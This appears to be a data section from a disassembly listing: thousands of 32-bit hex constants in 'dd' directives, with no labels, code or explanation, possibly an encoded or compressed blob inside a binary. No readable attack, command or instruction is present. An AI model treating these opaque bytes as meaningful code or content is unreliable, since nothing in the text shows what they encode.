dd 0EDB96252h, 0FCD659h, 0A8546665h, 0E6F48E09h, 0FB000A9h
dd 58B33ACh, 0DFCAA07h, 0C034EA00h, 89B49DEh, 952D00DFh
dd 822E7906h, 3503E60Bh, 0A789FC97h, 0C0AB923Ah, 0F629DE88h
dd 0A9240F2Eh, 2140C265h, 22D1766Fh, 3EED7200h, 108EFF70h
dd 0A81C5E75h, 37560F08h, 0CEFEE098h, 12C3749Fh, 0E024AF89h
dd 38C3FA6Ch, 7D8400Bh, 0B7D69610h, 0B8AAD09Bh, 0C82C9C98h
dd 80B81820h, 0FC2C5463h, 1C9E99Dh, 68F3E7F4h, 0E94B11FFh
dd 1F682278h, 0F9BF585Ch, 1DD0C100h, 0C39966F5h, 90F0B23h
dd 4900E0E5h, 4D483B21h, 0E95B8A00h, 17A18EC6h, 617200C0h
dd 2273BDD8h, 151CA632h, 0BE809EFBh, 550FCFF1h, 9D090036h
dd 897F8A4Ch, 0C5057262h, 4AD3414Eh, 0B2B99200h, 0B3490h
dd 8B319406h, 2289B481h, 3E078E70h, 0AAD79B29h, 0DFC3F127h
dd 3AFDD00Eh, 517736h, 43423E9h, 6E719448h, 640493F8h
dd 31D0E07Bh, 2200D8BCh, 23DFCA13h, 59C03589h, 8B289ACDh
dd 9524003Bh, 3BDC419h, 8D1E942Ah, 1DC0B972h, 6F7A4A65h
dd 0FBE26D9h, 76460F74h, 0CBA502E0h, 27617313h, 0C3AC3460h
dd 15E0B075h, 4D461859h, 0A741080Bh, 782C223Eh, 641647ECh
dd 640F31B0h, 80EF6078h, 78A24679h, 67B3127Dh, 414C47E5h
dd 382A76B8h, 6A466903h, 1F266898h, 3BEE71h, 8C30A48Bh
dd 851437C9h, 1488913h, 0D78958Eh, 4C4025ADh, 5246619Dh
dd 84011432h, 8E3C4B70h, 0C4D4308Bh, 0B7738h, 5965CAD4h
dd 7FD7E424h, 8685032Dh, 0DC0E21A1h, 29F33B88h, 0FB347000h
dd 5E569646h, 19080ED1h, 0ED20EA30h, 18650338h, 6D211600h
dd 0A8879E05h, 86170041h, 30D009B6h, 9C61F91Bh, 9B842078h
dd 0DA55CCh, 0E3E2B262h, 6857AD91h, 0A862B03h, 80773D1Dh
dd 28780583h, 0E7E744h, 49DB9B24h, 0D28A6639h, 0D5581200h
dd 72E53570h, 0A34D00CDh, 0DB252E0Dh, 3E057B77h, 4517FC30h
dd 0E07E8EC2h, 0C153DFh, 0EA826720h, 3E6E86DEh, 10E531F9h
dd 5A24EE9Ch, 0CDF8F4Eh, 2833AB0Ch, 4B4CDE10h, 4E23A08h
dd 35EB049Fh, 9E4A18D0h, 2DEA200Fh, 80A1E73Ch, 0E949B4C8h
dd 27D2E4h, 2E6E0B8Fh, 25E8EC92h, 9182AE05h, 0C4C0DE06h
dd 757D35Ah, 51388B72h, 18407942h, 1F008DACh, 21B90D22h
dd 954D84A0h, 48158020h, 0C9005958h, 6BA117D6h, 2D8935Ch
dd 9A2C09BFh, 0E0D8708Fh, 794B6000h, 4E7ED06Eh, 51193AAFh
dd 168B8F00h, 34F012B4h, 0A79D8300h, 81DDC904h, 0A0390055h
dd 2F3B28B7h, 4900E87Dh, 82664CEh, 0F23CD09Dh, 24821E18h
dd 94978720h, 129080BFh, 32F4A504h, 91CC6600h, 0CF755BC6h
dd 55F227CEh, 0BB6B6404h, 0D6E08B02h, 0C3FA8054h, 0BC5166h
dd 410423CCh, 0DACAC048h, 620F6501h, 9ECF4937h, 2E777DCh
dd 30035AFFh, 2CC2952Bh, 0E30054F0h, 84BCC846h, 0B84C5AF1h
dd 5CE20040h, 0BBCED5C9h, 3F75E65Eh, 0F1AAD405h, 0F0401605h
dd 50302E32h, 792800A1h, 4214A98Ah, 0B4254862h, 0EF44E027h
dd 0E2E050h, 0A90361Fh, 0FAD8B1B7h, 4F3F5201h, 655A5770h
dd 7B00EF8h, 82D191F1h, 0A3017940h, 0E553D25Bh, 2B2474B3h
dd 0FCEA2F79h, 40C4E458h, 963825A0h, 19A280A5h, 1CB1BF21h
dd 0B5C2009Bh, 0A6429415h, 502F858Ch, 0B8D40079h, 0EDE36D4h
dd 9337E740h, 0A5B67A00h, 0B1007098h, 0ACE697A0h, 23E52EFh
dd 9D9CC66Dh, 0D05CA189h, 94233604h, 0D06694C0h, 0B654002Eh
dd 0C543FC1Fh, 0CB1C87B7h, 6500304Eh, 6228BD45h, 0E2BCB8E8h
dd 0EEEB0261h, 8392D2C3h, 0B0AA482h, 88909B25h, 0BD5AF8h
dd 0C547E02Ah, 711E7FAFh, 0C83A881Eh, 9C447DC0h, 2A3EB09h
dd 640B7C97h, 9A60CEE9h, 14005565h, 0AB1C6EA4h, 0ACD939h
dd 2AECF8A7h, 4A5B26B2h, 78C5DB31h, 3312E6F2h, 92BBE18h
dd 0CE9943E1h, 492CBC60h, 0E90C5Ch, 0ECCFDC77h, 0F70151h
dd 1DCB0A2Eh, 0A80F32B8h, 1C7F283Bh, 0CA007024h, 17E02244h
dd 5EE8FDB9h, 0A23A09D2h, 38007BE3h, 0E2229564h, 0F40E6305h
dd 90D09BCAh, 6F8CE9h, 9594C802h, 0E30CDCA7h, 0C4710300h
dd 0E40D4044h, 0AAC200D3h, 65645ACCh, 450A4B76h, 0EC903910h
dd 5F93780Fh, 853516C9h, 0AA82F1D3h, 0D80463CDh, 1E0D456Dh
dd 0C12EBDAFh, 66A5F6EEh, 9C9870DCh, 5B77D800h, 0B9FCCE43h
dd 8CDF48ADh, 388E0B00h, 0C0EB88A8h, 982DFE00h, 0E2344857h
dd 2649005Dh, 0ECAC5275h, 0A9004FD3h, 0B68021CBh, 0EB32B8Fh
dd 0E6178815h, 0E3A1AB80h, 540082D4h, 2D035C63h, 3AD0A03Eh
dd 2C2CCF8Fh, 0DC9083B8h, 3103B2ADh, 0CF54E0E9h, 75800AAh
dd 0B7064735h, 4460D264h, 0DFE61178h, 0BF901F6Eh, 44679333h
dd 0A8CAE0BCh, 77113F50h, 1335BE3Bh, 0D4E1857Ah, 286DFCh
dd 91A4E3EEh, 0ED680788h, 3C6BA3Ah, 7224D8C7h, 0E28EA07Bh
dd 0B4F203EAh, 0DF933240h, 800876C8h, 0D785BF00h, 90335BB3h
dd 6345000Ch, 825355ECh, 0D4E58EABh, 6600B984h, 0EF3CC657h
dd 13DF810Dh, 0C041A5F1h, 0CFD17A84h, 0FE007C9Eh, 6C4A0ACCh
dd 88322CF5h, 7F2D0011h, 144004A4h, 5C76CA07h, 0DD2001D9h
dd 712BBCFh, 8047F848h, 1B956094h, 0F300B126h, 0B7C48A6Ch
dd 61C040Fh, 343F1E58h, 320010B8h, 0ED6CD9A4h, 749FABh
dd 61FA9B43h, 319D4671h, 0DF5B9E02h, 49ACA2CFh, 3C7CFB90h
dd 4BBBAA82h, 8400BCD0h, 8B9F8005h, 1E570E0Ah, 0C1A7A563h
dd 89AFBDABh
dd 0A20C6014h, 0A09BB02h, 406D7B4Bh, 17EF2D4h, 1F8B3857h
dd 3FA56C7Fh, 12A77D00h, 72E6AA0h, 46C078AFh, 9287408Eh
dd 0CCBE9BFAh, 5BFC2700h, 4B52F5h, 59DCB353h, 2196A580h
dd 0D0463C35h, 524D9471h, 0F1A0BB40h, 69373FD5h, 1D116F81h
dd 2C5F85BCh, 9B2D28h, 8B585210h, 15C63C92h, 0D9593302h
dd 562450h, 7680E6h, 59BF4610h, 0DF244D91h, 0D44D9FEAh
dd 432A031Ch, 0D071320Ah, 8F8667h, 58F702D3h, 0C2DF0C52h
dd 0A6F93600h, 84DABAFh, 78ACB0F3h, 0E38A0E90h, 0DF2047FBh
dd 9137E83Fh, 487CFA00h, 0CAF88680h, 3D3A0BC3h, 0D0808104h
dd 13830387h, 6D7C2Fh, 0B7E19824h, 20D805F3h, 8084D75Ch
dd 7283D2A0h, 7C544116h, 0E00D2448h, 1C70B966h, 94D0C64Eh
dd 83BC0h, 8C2542C4h, 0F98EB15Bh, 3D61EB01h, 0ADD0FB69h
dd 7E838AECh, 0FE18005Fh, 87854170h, 6209F552h, 4866B4B5h
dd 94AD6A5Ch, 4FC580BCh, 1FCC4085h, 71322CE8h, 0FCB18E4h
dd 11396A06h, 47865700h, 79919C70h, 0D8A40E46h, 6AAE6109h
dd 0B15148ACh, 4E57F25h, 4F406488h, 853FB445h, 0F5B10800h
dd 24070D8Ah, 4C56016Ah, 54466DB7h, 0A51600A1h, 871325C7h
dd 30ACDC13h, 3A4D47F9h, 0A7EF109h, 24AC920Bh, 72130A10h
dd 8DA6021Ch, 0B8C01078h, 8E1C3C51h, 9287808Fh, 0DE608CA7h
dd 0F03611h, 8791E732h, 0F158C98Eh, 2E3F4100h, 2046FDAAh
dd 0E3D7006Eh, 3D45476Ch, 56000FADh, 607C7E9Fh, 0C64881h
dd 4FEC5372h, 95AB4633h, 5830BE00h, 0E543DD44h, 0AECF0E62h
dd 97E0BF24h, 40D928B0h, 3AB39D3Eh, 3DA8CC89h, 0A7C8082h
dd 61F54755h, 36AD00A1h, 91578D9Dh, 0A3007DBDh, 0CA6E4D5Ch
dd 43D7E6h, 7181F129h, 476A65DFh, 4C69282Eh, 1FD3E800h
dd 0DC4575Eh, 2DACA3EEh, 688221BEh, 10850540h, 0B0B95DF5h
dd 4E9A44EDh, 0FC8043F8h, 0DE2D4D5Ah, 354B5800h, 2E4F54FAh
dd 4E553EF9h, 4056F81Ch, 7D96A7ABh, 3C00B46Dh, 9FACE595h
dd 0B5707Ah, 0CBEB8BA4h, 99984E28h, 0CF861104h, 0E0FDB3A7h
dd 94283780h, 0BE2C91C0h, 0F501B4E1h, 0DA75E526h, 11F074h
dd 0A4BB0A33h, 204F7F10h, 6B07AB2Ch, 41B43809h, 0B9E061C4h
dd 57460098h, 3E1CD8F1h, 7690049Fh, 56EC6500h, 0BDDB5E2Dh
dd 52720FDFh, 0AE41CAA6h, 8351E2EFh, 3F3DC2A4h, 6385E89Eh
dd 0C0BCACh, 0EBF610BBh, 7C00980Dh, 0B25F41A7h, 79B591A3h
dd 7AA800ADh, 8D56C7D5h, 6E05574Ah, 4254E148h, 1B805887h
dd 5AE5C3h, 10B07231h, 6754797h, 0B50077E6h, 840FC127h
dd 17B71A8Dh, 439A6E6h, 49A7FEA0h, 0A0804097h, 1EED002Fh
dd 0CE3E4AE5h, 0BF001D28h, 101FC079h, 31EAFCFBh, 0A826604Fh
dd 0FEC220D8h, 8FBF4400h, 1703AEFh, 0AE1A006Eh, 57D7A579h
dd 0CD3AEE06h, 5F31FA0Dh, 2CD678DDh, 2F2EBF10h, 0C0FCFBEAh
dd 5EF92300h, 0E7091EB9h, 712102D8h, 49D6B8FDh, 0FA00B8D4h
dd 0DD3A4F56h, 16FE04E8h, 81F91A28h, 5024C3C4h, 71F8EBE4h
dd 4BCAD8A8h, 87AAC73Fh, 0C8D42875h, 0D1DC7460h, 6CE7000Eh
dd 0E05B8E3Eh, 9D0022C3h, 4EC96A18h, 3F4F81EFh, 2E185E5Dh
dd 0AA695932h, 3485A207h, 0FCE0D423h, 4202B7h, 9C4678C0h
dd 0BCB1397Ah, 36E71102h, 6028B553h, 35C84Ah, 0CE5F7DA5h
dd 6CE4B63Bh, 0D9F54402h, 5504574Fh, 9DF8A6C3h, 0E9001356h
dd 0E7382545h, 1EB57695h, 6ED39Ah, 33F10CBCh, 71CFC13h
dd 0A01D6E8h, 78C79529h, 5265C4h, 0B87EEF9Eh, 0CA6B7A36h
dd 0D4A33200h, 0AB5059CBh, 0A87127F1h, 242EECE8h, 2DBA5405h
dd 0DCE42FBFh, 48EF38DEh, 3C6A79Eh, 89FC721Eh, 0F884A98h
dd 0ACBF7000h, 0AABBF2E5h, 0A0E10081h, 0FB4943A9h, 4E2D749Ah
dd 78B0429Fh, 4DDD1260h, 1E1CC0C5h, 97709A2Ch, 71E69360h
dd 0B43CFBh, 7827F321h, 0D3B2A084h, 19FFE74h, 28CD4F5Ch
dd 0DE21D42Ch, 66A92480h, 0E03148C4h, 7F8009Dh, 89FA1F2Dh
dd 210030A3h, 6A45FFA9h, 358CC3h, 0A4AF975Ah, 4B2AEBD1h
dd 600F5707h, 6AD05C69h, 0E604B42Bh, 4CC1009Bh, 0C6C55066h
dd 9FF796h, 0ABC478C4h, 2CD200F2h, 0C846AD6Ch, 0C30983ECh
dd 68FBD153h, 12DFC7E8h, 4E96F29h, 801757FEh, 16B69040h
dd 8AC28B09h, 524040D2h, 0A1680055h, 3382CBBEh, 0FE004116h
dd 949C2324h, 92F82Eh, 0A4D2F968h, 4222779Dh, 0EFE9E812h
dd 0BCCC0E0h, 0ADACB686h, 0B3580000h, 0A008C24h, 4443E002h
dd 3877D7A4h, 91006F3Dh, 0A2B383FDh, 0B004BE3h, 0CFEDEBDCh
dd 0CA8D50h, 0E0F5DAB2h, 96963F2h, 7DBC4B00h, 7E4EC2D8h
dd 4FC000EEh, 154DCE77h, 0E30034B2h, 0F80F9E2Eh, 8F08706h
dd 93855F1Ah, 50B25416h, 1FCFF610h, 7CC0A184h, 41C783BBh
dd 0ED741D3Ch, 536280C6h, 0BEE47079h, 210087B8h, 32024F7h
dd 4C9222B3h, 1E00926Eh, 930482C7h, 0BF00EEDEh, 0EF8CD6C8h
dd 0A95C2F1Ah, 0A2BA4BCh, 80D8771Ch, 21F6DEC8h, 463DF7CEh
dd 5E8D004Ch, 1D347D04h, 24E30013h, 1B5809BEh, 1C004717h
dd 55BBD09Ch, 7D860A49h, 0A9430016h, 0E9E212C4h, 0CE00E421h
dd 5F8723BBh, 6A1BACh, 520E0294h, 0F1B90BBAh, 84263B78h
dd 0AE047FEEh, 0C8A0C42Ah, 0FED20044h, 3C855650h, 7F1C13A1h
dd 2B00BE25h, 61AB7012h, 364702C1h, 0AFC4D880h, 3E1E94C9h
dd 0F811CC40h, 35BEF2h, 2A088751h, 32EFFF18h, 2AA1236Fh
dd 0EB05A0F4h, 0F1803A04h, 3CFCBC46h, 0B1004AEFh, 7048983Bh
dd 0D30057C4h, 36C0C8CEh, 588392B5h, 384C4471h, 21AC7B03h
dd 0DDA85445h, 54EECC9h, 2D873C00h, 0E92449h, 0E1C83520h
dd 0FF7D5E5Fh, 0D6D4DC00h, 62689FC4h, 624B6EFAh, 0E4A930D8h
dd 7EF53200h, 46E3C44Ah, 7D083B86h, 745B1400h, 0F707DA93h
dd 1B663Fh, 2A1C221Dh, 1F047E01h, 9932DEh, 2E9F7483h, 0C75B640h
dd 3CF32B12h, 4240C21Dh, 0A7E69745h, 7579009Ah, 38878547h
dd 1E07D87Fh, 866010CAh, 0E8685D83h, 42FFA6h, 0BA584B11h
dd 4CD065E4h, 188C8A03h, 8F97A5B0h, 509C00EBh, 1F3DF215h
dd 0F35C211h, 0E433B7D6h, 0E490AB04h, 0E869B201h, 162B73D1h
dd 1BA9C540h, 5E1700EAh, 7D4EBA96h, 0AD1CFC28h, 4A809CF1h
dd 0FDC10507h, 7CFF4814h, 0CB387800h, 9D88E3ADh, 72B84F58h
dd 7729E600h, 0AE6F9580h, 686C0312h, 0DEF29A37h, 0E25522C0h
dd 0FD1E2B00h, 0D62134EDh, 985202D5h, 6A2784A8h, 0E3186460h
dd 0B33A8C92h, 60DDAFD2h, 4B65236Ch, 880C7ABAh, 1AD7083Fh
dd 421F2F9Fh, 0D26A8904h, 8117FCA2h, 61AC88E5h, 74200881h
dd 51093EE7h, 48D86402h, 0D852DDACh, 4EC01494h, 0A83A662Ch
dd 3F080D34h, 4BF1E824h, 0C93433EFh, 0A5452026h, 0CD5283Eh
dd 6068B354h, 0EE0068E2h, 93F026C2h, 0A7A4E8h, 46F5B54Ch
dd 3BD23378h, 8C05CFF2h, 515BD407h, 9D39A8E3h, 7238B800h
dd 8001E178h, 2FD0D100h, 0E7970EFEh, 0AC962F8Ch, 6967F820h
dd 100432Bh, 0A3271E44h, 0CCC3EECh, 41792EA0h, 0C300FF58h
dd 8596741Dh, 0C37CCEA8h, 352AC118h, 17943C06h, 0C1E484h
dd 0F0723F89h, 26693062h, 94586A28h, 0A6218EF5h, 5688C047h
dd 19C0E32h, 7CD80BD7h, 0D84681EAh, 2F0A0934h, 0B88DC2F2h
dd 0E0549080h, 0B84EC007h, 0A80D1DB1h, 87998FEEh, 0C7D54A23h
dd 74407DE7h, 68B801F8h, 112AAD30h, 0AD1484Bh, 786DA50Dh
dd 8E63AE8h
dd 0E6012131h, 82C8D130h, 65700C56h, 0C00B0C97h, 8E588B68h
dd 51631600h, 0BF8DE739h, 0EA28825h, 3A4CBB12h, 0E0701803h
dd 0F6310879h, 6D9C500Ah, 2D0A9468h, 0A08F02B8h, 0A9D3FC02h
dd 0B7FCE097h, 0DA9A0042h, 0F3AA5A54h, 9803AB2Fh, 1C1983D8h
dd 0DB7A07Eh, 0B0AD007Ch, 0E223201Fh, 631CF7FDh, 80390895h
dd 0C4738D69h, 0D3BDFAh, 372DB7A3h, 0AB03123Eh, 9EA2A00h
dd 72D4E278h, 0AF9200DEh, 0DA5A9483h, 839821ADh, 0FAE3BA03h
dd 887D0628h, 36C42Fh, 0DDCB77C7h, 63889320h, 7BA9E500h
dd 0BB26E0FCh, 293D00D0h, 0EFF9EB8Eh, 6F0071E8h, 526D8147h
dd 7BD3D6h, 1CDBC551h, 0DE2E164h, 1EE72E58h, 1540A6DFh
dd 58271A21h, 0E0AB5CFFh, 0A17EC501h, 0E772538Dh, 1BE81CE8h
dd 0D105DC00h, 1A425458h, 0CC910E57h, 9EC02A98h, 808BB4A3h
dd 95F70118h, 3D526118h, 8D877FB9h, 4CA4770Fh, 5300C110h
dd 0F929607Ch, 3A22839Ch, 0B0309D49h, 7C5B5F21h, 670624FAh
dd 992590C3h, 0E6A11818h, 793099C8h, 43EE707h, 0AFB728D9h
dd 144B2580h, 0C44C3E68h, 98D05286h, 58CE38BFh, 615E83F5h
dd 9F110083h, 1612C87Ah, 0BD19A966h, 0A6085DFEh, 723E2183h
dd 80B7C9C8h, 1AB6CCA2h, 7E2E8C0Dh, 509158C2h, 0C87B805Fh
dd 8C6E1613h, 3A3DAA44h, 55BCC873h, 5F48E280h, 8A2841F6h
dd 0FA122C0Ah, 7802A0A2h, 8922B11h, 800B119Ch, 296C7C57h
dd 229D4359h, 5F6300B5h, 0CEA5087Ch, 1500F046h, 2AD57B87h
dd 0C08DB20Ah, 187EE360h, 9A60221Ah, 0CBF4410h, 0AE4E0379h
dd 0B3BC6AA5h, 0EAE2A9B8h, 56D31F07h, 0C02F5EFDh, 77B0589Ch
dd 0E11F85Fh, 0DA109B9Dh, 8EAEC281h, 0B64EC051h, 590D4800h
dd 11FBCDEFh, 0C7540F7Ch, 2F61DF2Ch, 20C1104Ch, 0E41CB446h
dd 7207C558h, 5C1246D9h, 0E07241BEh, 7CD45FF0h, 0C10D076Ah
dd 4026A4ACh, 1E4BDB97h, 0B5291A09h, 0C9790F2Dh, 217D2C05h
dd 1A161CE8h, 5AE94053h, 0FCF40F03h, 0C81D3E03h, 2BD117h
dd 1B91ED28h, 4672DAB8h, 78D43430h, 1C2C2173h, 86DC01C1h
dd 30DB5AA9h, 67117700h, 47BFE01Fh, 10181DC5h, 216B1848h
dd 67032A9Dh, 0C750E2A5h, 58B862E8h, 980C8CACh, 259C82Bh
dd 186712C0h, 8EC743E0h, 1B67609Eh, 0C0305B66h, 5C84ACE1h
dd 23382720h, 0C42D1496h, 0C8AE8894h, 0B51302F1h, 9499BCBDh
dd 10F2103Eh, 665C001Ah, 7B36A64Fh, 96A0B585h, 29186333h
dd 0A5B9C995h, 0E3F1099Eh, 4E80CC2Dh, 4044EC38h, 1D055DE6h
dd 0D67F162Ch, 7BAC4Eh, 0F3DB49Ch, 5C5B19E5h, 92E808E6h
dd 0F7001021h, 229E68D5h, 807D0092h, 0AF0A714Ah, 0E4515446h
dd 2A940098h, 0D9604056h, 8E9BE210h, 5A0A0035h, 0A808CB85h
dd 4C137190h, 0AE00BA7Ch, 0E478D552h, 243B005Ah, 208BB95Eh
dd 0D703B814h, 0A953B53Fh, 0F94BF083h, 3B3D7124h, 0E0077068h
dd 7FA3D111h, 0BDD930E1h, 4232609Bh, 11D0FF75h, 20DAF04h
dd 0FC10974Fh, 1524C10Fh, 50E4AA8h, 13C34098h, 28ECA2A6h
dd 1FE89902h, 81019715h, 805869D1h, 0F842CDA5h, 4D006CC6h
dd 3C569D88h, 905734h, 0E7D1E0E6h, 0B32982Fh, 2A3D7BE0h
dd 607280B4h, 4D04766Eh, 7BF0064h, 1967E996h, 1500DE4Ch
dd 6A9894B8h, 753BFD48h, 0A8F00075h, 0AF98BB0h, 0E1073847h
dd 4F25ABE3h, 0F522AC50h, 4B5D008Ch, 9C2A6BB0h, 102E3A0Dh
dd 89016F5Ch, 0E5C10ACDh, 7368EEE4h, 43AE0EDBh, 0FD006364h
dd 0C5A9FF29h, 0B7FB1CC0h, 50245E4h, 352D423Ch, 3EDD0B7Dh
dd 281E99D8h, 4800E868h, 9A0BD3DDh, 4D1300FEh, 0CF9218DAh
dd 0F8BD8F5Dh, 931700ADh, 13965ACAh, 0FF5C544Eh, 4B68006Fh
dd 9E0BF9E0h, 63DB0E27h, 0DD4061E2h, 0DC58AE09h, 0E126448h
dd 0D8A84Ah, 6D1860E9h, 0E8E007Dh, 0AE9C0671h, 0E8C09FA6h
dd 0ACDE5E93h, 914C0020h, 0CD76DD08h, 472E39CCh, 0BD001AE1h
dd 453BCB53h, 8D8F00EBh, 0E4314095h, 0D701357Ah, 0B6FF14EFh
dd 8248E47h, 0D40A54DBh, 2FB730DEh, 0A0106F50h, 94E7C800h
dd 1E734C24h, 7E8FF0A2h, 7CAE0066h, 7DB21CF3h, 0E800BC54h
dd 68B01D4Ch, 10FAF24h, 3A9A364Bh, 0CCBBDCF1h, 40929CBEh
dd 8620E801h, 0B4F5EB9Eh, 0C676C4h, 54CBE29h, 0EA09609Ah
dd 2A6ACD00h, 87513227h, 0CAA70E1Fh, 0C587EF65h, 846BC029h
dd 814F955h, 98C668h, 98475A20h, 505C1D1Fh, 180ECCE4h
dd 20C8B9FFh, 93036B72h, 340C0B27h, 0B8BE9868h, 22333FEBh
dd 0A50EF83Dh, 51E07BEAh, 0CB8E7970h, 520F3FFCh, 83FCB2CCh
dd 0E0DD3A68h, 78BD08h, 0EEC759CDh, 0AE831184h, 0A527400h
dd 60F089E1h, 55DC0034h, 0F430ADEBh, 0F3007137h, 73DBF9B6h
dd 0A0AC66h, 361F68B3h, 0CB37FCC0h, 38D948h, 3DD3EB94h
dd 0EC93E741h, 92E2006Fh, 0B6FEC94Ch, 0C70005D2h, 0CD779E30h
dd 2AF7BE81h, 0ACFCD7h, 0A18920EFh, 0B5B864E8h, 0E22C6D00h
dd 0FA6AD5ADh, 2577187Eh, 0C5AF2087h, 3C2EFB00h, 0BC227D41h
dd 74E273h, 6A7A507Ch, 0AD774428h, 2C02D38h, 0A86E2EE8h
dd 0C9F4818Dh, 70909458h, 2A6D8076h, 7CB3DDh, 42432302h
dd 882F4450h, 81830B03h, 4CCDF46Eh, 3100DFE0h, 0B2F8BBA8h
dd 0FA02F72Fh, 9004F388h, 120C4407h, 1CF2B934h, 9BC6C1FCh
dd 0C0A28C4Eh, 24F513FAh, 68996338h, 8420D403h, 5FC1C0A0h
dd 12EA003Fh, 19C3029Eh, 97D13FCh, 0BA0013B8h, 0CA90288Bh
dd 53D392h, 3C9359D5h, 0B90F4D82h, 63E60C00h, 1DD17A5h
dd 4A760099h, 0CE03BC14h, 0C4003592h, 0C0F1D9D3h, 9313DCh
dd 0E1447468h, 2F3077ABh, 0E47753E8h, 13C21E58h, 4400CFE7h
dd 12DC0697h, 0DDA100A9h, 0A2B29802h, 1C075BCAh, 0C3885A9Fh
dd 0D2C5D90h, 0FC390328h, 0A762AD93h, 86322F80h, 0C44CB17h
dd 45916E00h, 74028F8h, 0E7363EA5h, 7D6B8021h, 720049CCh
dd 77A914A8h, 380780h, 250CCE93h, 3791417Fh, 0D1DC030Ah
dd 2B81B8A6h, 0D9BB2F50h, 4330D0h, 4D8DC769h, 9B34BD5Eh
dd 20EA0A00h, 0A1B3F1DEh, 0E89407BBh, 0E9CC33B0h, 0BA7B0020h
dd 7E00C3D7h, 257942C2h, 482D73h, 78203D02h, 715EBDA4h
dd 0A7563907h, 0A056A2D8h, 7022006Eh, 0B13C2415h, 0BD00C407h
dd 27B486EDh, 0F59D6Ch, 3845CEA7h, 3775D202h, 5E4A880Eh
dd 2D0E01BEh, 0B661AF7Ah, 2667F8h, 77E61695h, 0C2A23AFDh
dd 81315F3Dh, 41C0F50Ah, 3C340432h, 26CCB04Ah, 9E08E789h
dd 0E3AD80A0h, 0B09DB8AAh, 0D0254Ch, 8B3D2187h, 0E0D222FAh
dd 138FE69h, 81659D0Fh, 80E66ED3h, 0CA540728h, 0E34C34h
dd 0A9D6123Bh, 51041092h, 0C7684600h, 7F5F6477h, 5424F51Ch
dd 9598A082h, 6861127Eh, 91A9005Eh, 0C89A57D2h, 35586A00h
dd 11BCB405h, 6D8C39E3h, 0F2377D80h, 0AAEDC7ADh, 0B1F3B200h
dd 5CB9189Ch, 0A855001Ch, 8F65BAF0h, 62396D21h, 0B4528003h
dd 5C14DB63h, 0BA7307F9h, 50CEE6B0h, 0F2A9EAB5h, 0CD8CC500h
dd 40198407h, 69B407BEh, 30BCE609h, 0D7369F4Ch, 43B28600h
dd 0F5327E3h, 264E00CFh, 712ADD78h, 36008C60h, 0BF287BD5h
dd 0FA7F62D2h, 0A6490016h, 38DA12Dh, 2000ADFDh, 0F78ABC73h
dd 3D3DB5Ah, 0C0213116h, 0EFD86E10h, 32F31B0Fh, 371A0E98h
dd 0CFEA00F5h, 0E01D4358h, 0E3E60091h, 83BF2DBCh, 1900746Ah
dd 0CAD48EE2h, 5D0676h, 3C4FBBEh, 0D652880Bh, 0CC212200h
dd 763871F1h, 34D90096h
dd 1679A55Dh, 0C20230A9h, 326DE957h, 0C026E068h, 0F560005Fh
dd 0F6361591h, 0D6F62B19h, 7A0C1E00h, 0DF7E7B78h, 0CAB2002Eh
dd 9998BF97h, 820764C7h, 2893FB07h, 0CE898089h, 90D113h
dd 7EC49192h, 155C64Ch, 9FE24E3Ch, 0BDC45341h, 5CD2DBC5h
dd 25A080D8h, 1350A40h, 20CBB4BFh, 20E7A28Ah, 6F00BB3Bh
dd 0E5A47EE1h, 0B0B3F96Bh, 0C42B0094h, 549B9646h, 490066D5h
dd 74302CDEh, 2627B9F0h, 723E243h, 0F277572Eh, 7640D2D3h
dd 0D5003EDEh, 8D83CA76h, 0F2CAE94h, 58DD7017h, 14353FA2h
dd 835A9282h, 0BD190C50h, 26207116h, 0D12E5701h, 987AD029h
dd 5C1C74F9h, 1E7897FAh, 2CEFE10Eh, 21E58055h, 6F33D8D4h
dd 5B03504Fh, 14E0F3DCh, 0BF07E245h, 0EEE7F048h, 0E8FA9C80h
dd 2BEF068Eh, 58537404h, 0E23D2C13h, 0C215901Dh, 0EC200698h
dd 1879E123h, 51E645DAh, 591F53F5h, 5A4AAAD2h, 5E2D08BDh
dd 0FAE102B2h, 24809D14h, 343F4740h, 9FD74500h, 0E3468F02h
dd 6AA0018h, 67910BC9h, 540B88B8h, 500D4Bh, 0ED25E316h
dd 9E9A0021h, 225A7B49h, 0D007F3A6h, 79099608h, 0CD3214A1h
dd 27AF0h, 0F1E50A91h, 4ED48BFFh, 0D821B900h, 5A587B04h
dd 3CE1012Ah, 1FBA5328h, 93BDF064h, 0B8570100h, 0C42F39A9h
dd 19A6008Dh, 4E27E49Eh, 0D9036E62h, 5C912928h, 23F2F9EBh
dd 0F7037F4h, 0E7AAF965h, 50D8C07Fh, 0A0B6E5A6h, 47FC2A0Eh
dd 1F0424D3h, 0AF1B9C0h, 1EAEAAFh, 0E6CF0E7Eh, 0EC56C33Fh
dd 0F6E80DC4h, 71641E00h, 81204C21h, 33E752Dh, 0B30FFBAAh
dd 0A8E8E61Ch, 110057BDh, 82E86366h, 1FAF5CDFh, 0DFD53C50h
dd 2F0A072Ch, 9BBBC08Ah, 0C554014Dh, 0F903DDBCh, 65737DAh
dd 0AB3EBB3Fh, 0E5DB38h, 0DAF21721h, 0E4E35B9Ch, 2236DF12h
dd 8A80445Dh, 0B3A2EB92h, 189800DBh, 21D4F1C0h, 9480898Fh
dd 9C86366Eh, 48362078h, 0E6419049h, 4E5E1812h, 0C840201Fh
dd 14A7020h, 0A8BED2FDh, 8B566EE6h, 40D0E4B9h, 6F12187h
dd 0CCA840D8h, 120F10E6h, 80873599h, 0EE8192EBh, 7F9FEFBh
dd 5269822Fh, 0D06637C9h, 0EB5A5777h, 8767A722h, 7C2B4104h
dd 1F108364h, 90F0639Dh, 0E9FACDh, 0E65DA71Bh, 56F1D469h
dd 209F1533h, 9131B0F2h, 0ACFF00A9h, 47A5571Dh, 0D2EE0C46h
dd 0A3552500h, 4084BBCEh, 9A5B036Dh, 0B5CF0615h, 0B489D6C8h
dd 42F6EC00h, 50AD1B1h, 183E00BEh, 1A8A5E06h, 1F06E7F9h
dd 0EE7AB9A0h, 0C030011h, 0C4BFB40Bh, 8500464Ah, 8764DBC7h
dd 0D62F41h, 0EC4EC9E5h, 7C63679Bh, 0A1B74B01h, 0AD6CE625h
dd 1F4897D0h, 407A2623h, 6DC85724h, 563CE9CBh, 0D1698F73h
dd 1EA440F2h, 76800F99h, 0D460E6Eh, 852033F0h, 878917EAh
dd 78105D38h, 319470Eh, 524BE0F1h, 7DC4BAh, 0FE423A76h
dd 0CD70FA09h, 8745BB0Ch, 77EE9D8h, 92EE1C8Dh, 5717E076h
dd 0D000E7F7h, 0D49C32BAh, 0E30FC5h, 0C64A79A9h, 0DC505804h
